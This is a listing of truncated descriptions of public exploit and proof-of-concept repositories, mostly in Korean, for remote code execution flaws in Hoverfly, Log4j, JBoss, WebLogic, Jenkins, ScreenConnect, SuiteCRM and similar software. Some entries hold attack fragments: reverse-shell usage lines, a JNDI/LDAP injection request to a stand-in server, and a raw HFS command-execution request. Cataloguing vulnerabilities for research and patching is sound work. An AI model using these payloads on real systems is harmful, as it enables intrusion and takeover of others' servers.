CVE-2025-54123

CVE-2025-54123 Hoverfly CVE 원격 코드 실행 사용법 명령 실행: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami 리버스 셸: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 면책 조항 이 스크립트는 교육 목적으로만 제공됩니다. 허가 없이 시스템에서 이 익스플로잇을 무단 사용하는 것은...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye 인증된 RCE motionEye = 0.43.1b4에서 무결점 검증되지 않은 motion 구성 매개변수를 통한 인증된 원격 코드 실행 작성자: d3vn0mi 취약점 개요 필드| 세부 정보 ---|--- CVE ID| CVE-2025-60787 CVSS 점수| 7.2 높음 유형| OS 명령 삽입 CWE-78 영향 범위| motionEye = 0.43.1b4 수정 버전| 0.43.1b5 motionEye는 imagefilename과 같은 구성 필드에서 임의의 문자열을 허용하고 이를...

log4j-vul

log4j-vul 이 프로젝트는 Apache Log4j2 취약점CVE-2021-44228을 보여주기 위한 것입니다. Java: java version "1.8.0121" Compile: src 폴더에서 javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: src 폴더에서 java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.j...

jboss-deserialization

CVE-2017-12149를 통한 JBoss 불안전한 역직렬화에서 RCE까지. JBoss 불안전한 역직렬화 - RCE 익스플로잇 연구실. 여기서는 오래된 JBoss 버전7.0으로 연구실을 구축하여 취약점을 익스플로잇하는 것이 목표입니다. Docker를 사용하여 모든 과정을 용이하게 할 수 있습니다. 이를 위해 Oracle JDK rpm 패키지가 필요합니다. 그 이유는 JBoss 6.0.0 final이 JDK 6 런타임에서 작동하기 때문입니다. 또한 저장소에 포함된 Dockerfile과 시스템에 Docker가 설치되어 있어야...

CVE-2025-41243-Vulnerability-Lab

CVE-2025-41243: Spring Cloud Gateway RCE Lab 취약점 설명 Spring Cloud Gateway에 SpEL 표현식 주입 취약점이 존재하며, Actuator 엔드포인트가 활성화된 경우 공격자가 원격 코드 실행RCE을 수행할 수 있습니다. 시작 방법 docker-compose up -d 재현 1. http://your-ip:8080/actuator/gateway/routes 접속 2. 악성 Payload 주입...

CVE-2025-5548

🐞 CVE-2025-5548: FreeFloat FTP 서버 1.0 버퍼 오버플로우 FreeFloat FTP 서버 1.0의 고전적인 스택 기반 버퍼 오버플로우에 대한 전문적인 연구 및 익스플로잇 개발. 이 실습은 바이너리 리버싱에서 완전한 기능의 RCE로의 전환을 보여줍니다. 📖 요약 이 저장소는 CVE-2025-5548 의 분석 및 익스플로잇을 문서화합니다. 현대 시스템은 고급 보호 기능을 갖추고 있지만, FreeFloat FTP와 같은 레거시 소프트웨어 분석은 취약점 연구자에게 여전히 기본적인 기둥으로 남아 있습니다. 이...

log4shell_lab

log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...

CSPOC

Cobalt Strike 저장형 XSS RCE CVE-2022-39197 실행 매개변수: -u: Cobaltstrike HTTP 청취 주소, 예: http://127.0.0.1:8500 -p: Payload, 예: 너무 길지 않아야 합니다 데모: 빌드 명령: go build -ldflags "-s -w" QQ 그룹: 클릭하여 가입: 528118163 그룹 가입 / 협력 / 연락 왼쪽 | 공식 계정: 遮天实验室 오른쪽...

s2-067-CVE-2024-53677

s2-067-CVE-2024-53677 s2-067CVE-2024-53677 요약 파일 업로드 로직에 결함이 있어 공격자가 경로 순회를 활성화할 수 있으며, 이는 S2-066에서 보고된 것과 유사한 문제입니다. 이 문서를 읽어야 하는 대상 모든 Struts 2 개발자 및 사용자 취약점 영향 원격 코드 실행 최대 보안 등급 치명적Critical 권장 사항 Struts 6.4.0 이상으로 업그레이드하고 Action File Upload Interceptor를 사용하십시오. 영향을 받는 소프트웨어 Struts 2.0.0 - Stru...

Oracle-WebLogic-CVE-2017-10271-master

WebLogic Wls-wsat XMLDecoder 취약점 설명 mitre:https://vulners.com/cve/CVE-2017-3506 초기에 해커들은 WebLogic WLS 구성 요소의 취약점을 이용하여 기업 서버에 대규모 원격 공격을 감행했으며, 많은 기업의 서버가 장악되었고, 피해 기업 수는 뚜렷한 증가 추세를 보여 심각한 주의가 필요합니다. 그중 CVE-2017-3506은 Oracle WebLogic의 WLS 구성 요소를 이용한 원격 코드 실행 취약점으로, 공개되지 않은 세부 사항이 있는 현장 악용 취약점이며, ...

CVE-2023-39362-cacti-snmp-command-injection-poc

Cacti CVE-2023-39362 명령 삽입 취약점 - PoC 이 저장소는 다음 저장소에서 포크되었습니다: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cacti는 오픈 소스 운영 모니터링 및 장애 관리 프레임워크로, 사용자 커뮤니티의 역동적인 요구를 충족하기 위해 지속적으로 발전하고 있습니다. 버전 1.2.24에서 CVE-2023-39362로 표시된 잠재적인 보안 취약점이 확인되었습니다. 특정 조건에서 인증된 권한 있는 사용자가...

CVE-2022-23940

CVE-2022-23940 CVE-2022-23940에 대한 PoC, 일명 SCRMBT-187 - SuiteCRM= 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940 사용 예시: Spawning a PHP Reverse shell to attacker-host on port 4444 ./exploit.py -u user -p redacted --payload "php -r...

irule-cve-2022-22965

irule-cve-2022-22965 이것은 CVE-2022-22965일명 Spring4Shell에 대한 일부 완화를 제공하는 기본 iRule입니다. BIG-IP 15.x에서 테스트되었습니다. 개요 2022년 3월 30일, Java Spring Framework에서 CVE-2022-22965로 식별되는 원격 코드 실행RCE 취약점이 발견되었습니다. 이 CVE의 완화를 돕기 위해 예제 iRule을 공유합니다. 추가 사용자 지정이 필요할 수 있지만 좋은 시작점입니다 🙂 이 iRule은 F5에서 공식적으로 지원되지 않습니다...

CVE2_Jenkins_RCE

Jenkins CLI Websocket 하이재킹 - PoC CVE-2024-23898에 대한 개념 증명 교차 사이트 WebSocket 하이재킹 익스플로잇입니다. 이는 Jenkins 버전 2.217-2.441에 영향을 미치는 취약점입니다. 이 익스플로잇은 Jenkins CLI를 대상으로 하며, 이를 통해 원격으로 Jenkins 제어 서버에 접근하고 명령을 실행할 수 있습니다. 이 익스플로잇을 통해 원격 공격자는 관리자가 대상 Jenkins 제어 서버에 로그인한 상태에서 악성 사이트를 방문하도록 속임을 당할 경우, Jenkins ...

connectwise-screenconnect_auth-bypass-add-user-poc

CVE-2024-1708 및 CVE-2024-1709 @watchTowr가 개발한 PoC로, ConnectWise ScreenConnect에서 인증 우회를 악용하여 새로운 관리 사용자를 추가합니다. 이는 간단한 원격 명령 실행RCE 체인의 첫 단계입니다. 보안 연구를 위해 watchTowr Labs 팀을 팔로우하세요 https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...

CVE-2024-23692

CVE-2024-23692 BURP POC GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

Oracle-WebLogic-CVE-2017-10271

WebLogic Wls-wsat XMLDecoder 취약점 설명 mitre:https://vulners.com/cve/CVE-2017-3506 초기에 해커들은 WebLogic WLS 구성 요소의 취약점을 이용해 기업 서버를 대상으로 대규모 원격 공격을 감행했으며, 다수 기업의 서버가 침해당했고 공격을 받은 기업 수가 뚜렷한 증가 추세를 보여 각별한 주의가 필요하다. 그중 CVE-2017-3506은 Oracle WebLogic의 WLS 구성 요소를 이용한 원격 코드 실행 취약점으로, 세부 정보가 공개되지 않은 채 야생에서 악용되...

CVE-2023-41362_MyBB_ACP_RCE

CVE-2023-41362 - MyBB ACP RCE CVE-2023-41362에 대한 익스플로잇 블로그 포스트: https://blog.sorcery.ie/posts/mybbacprce...

CVE-2018-11235

CVE-2018-11235 악성 Git 저장소를 자동 생성하여 Git 서브모듈을 통한 원격 코드 실행CVE-2018-11235을 악용합니다. 블로그 게시글: https://devblogs.microsoft.com/devops/announcing-the-may-2018-git-security-vulnerability/...

spring-rce-poc

spring-rce-poc CVE-2022-22968 테스트 CVE-2022-22968에 취약한 간단한 앱 Dockerfile은 취약한 버전의 Tomcat 9.0.59에서 빌드하는 데 사용할 수 있습니다. exploit.sh는 localhost의 8080 포트에서 이 CVE를 악용하려고 시도하는 셸 스크립트입니다. exploit.sh를 사용한 공격이 성공하면 대상 앱의 http://localhost:8080/shell.jsp 컨텍스트에서 접근할 수 있어야 합니다. 기본 웹셸이 포함된 간단한 JSP 웹사이트...